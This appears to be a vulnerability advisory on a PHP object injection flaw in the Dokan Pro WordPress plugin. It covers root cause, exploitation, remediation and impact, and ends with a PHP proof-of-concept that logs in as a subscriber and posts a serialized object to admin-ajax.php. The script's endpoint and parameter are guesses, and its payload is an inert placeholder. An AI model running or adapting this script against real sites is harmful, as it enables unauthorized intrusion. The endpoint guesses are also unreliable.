Atomic Edge analysis of CVE-2026-65493 (metadata-based):
Dokan Pro <= 5.0.2 contains a PHP Object Injection vulnerability via deserialization of untrusted input. An authenticated attacker with subscriber-level access can inject a PHP object. If a POP chain exists elsewhere on the target system, this can lead to file deletion, sensitive data exposure, or remote code execution. The CVSS severity is 7.5, reflecting a high impact with a high attack complexity.
Root Cause:
Based on the CWE-502 classification and the provided description, the root cause is the deserialization of untrusted data in the Dokan Pro plugin. The plugin likely calls PHP's `unserialize()` function on attacker-controlled input, such as from a request parameter in an AJAX or form handler. This is an inferred conclusion from the CWE and description, as no source code diff is available for confirmation. The plugin lacks proper input validation and uses `unserialize()` instead of the safer `json_decode()` function.
Exploitation:
An authenticated user with at least subscriber-level privileges crafts a malicious serialized PHP object. The attacker sends this payload to an endpoint in the Dokan Pro plugin that processes the unserialize operation. Without access to the source code, the exact endpoint and parameter names are inferred. A likely target is an admin-ajax handler or a REST API route associated with the Dokan Pro plugin, with a user-controllable parameter being passed directly to `unserialize()`. The exploit requires a POP chain in another installed plugin or theme to achieve maximum impact; otherwise, the injection may not have an effect.
Remediation:
The definitive fix is to stop using `unserialize()` on any user-supplied data. Replace it with `json_decode()` and `json_encode()` for data serialization. If `unserialize()` is absolutely necessary, enforce strict input validation with an allowlist of expected string values. The plugin should also implement capability checks and nonce verification on all handlers to restrict access. Since no patched version is available, administrators should disable the plugin or apply a virtual patch at the WAF level.
Impact:
Successful exploitation allows an authenticated attacker to inject arbitrary PHP objects. If a compatible POP chain exists in the WordPress core, themes, or other plugins, the attacker can achieve arbitrary file deletion, read sensitive files, or execute arbitrary code. This can result in full site compromise, privilege escalation to administrator, or complete server takeover. Even without a POP chain, the vulnerability can cause unexpected application behavior or denial-of-service conditions.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65493 - Dokan Pro <= 5.0.2 - Authenticated (Subscriber+) PHP Object Injection
// Configuration - replace with target site credentials
$target_url = 'https://example.com';
$username = 'lowprivilegeuser'; // Subscriber credential
$password = 'password123';
// Payload - This is a placeholder. A real POP chain would need to be tailored to a specific gadget.
// This demonstrates the deserialization sink without a working POP chain.
$malicious_object = 'O:8:"stdClass":1:{s:4:"prop";s:5:"value";}';
// Function to log in and get nonce (simplified). In a real attack, the attacker would use a browser session.
function get_nonce($url) {
// Fetch the admin-ajax.php page to potentially obtain a nonce. This is often not needed for all AJAX actions.
// Placeholder - many AJAX endpoints require nonces, so an attacker would manually extract this.
return 'mock_nonce_value';
}
// Step 1: Authenticate using cURL
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookie');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Extract nonce (if required). This is a placeholder for the actual nonce extraction process.
$nonce = get_nonce($target_url);
// Step 3: Send the exploit to a guessed AJAX endpoint.
// Common Dokan Pro action names might include, but are not limited to: 'dokan_pro_save_settings', 'dokan_pro_handle_sync', or similar.
// The parameter name is also unknown. We guess 'data' or 'settings'.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = [
'action' => 'dokan_pro_ajax_handler', // Placeholder action name
'data' => $malicious_object,
'nonce' => $nonce
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display response
if ($http_code == 200) {
echo "Exploit attempt sent successfully. Check for PHP object injection side effects on target.n";
} else {
echo "Exploit attempt failed with HTTP code: " . $http_code . "n";
}
// Clean up
unlink($cookie_jar);
?>
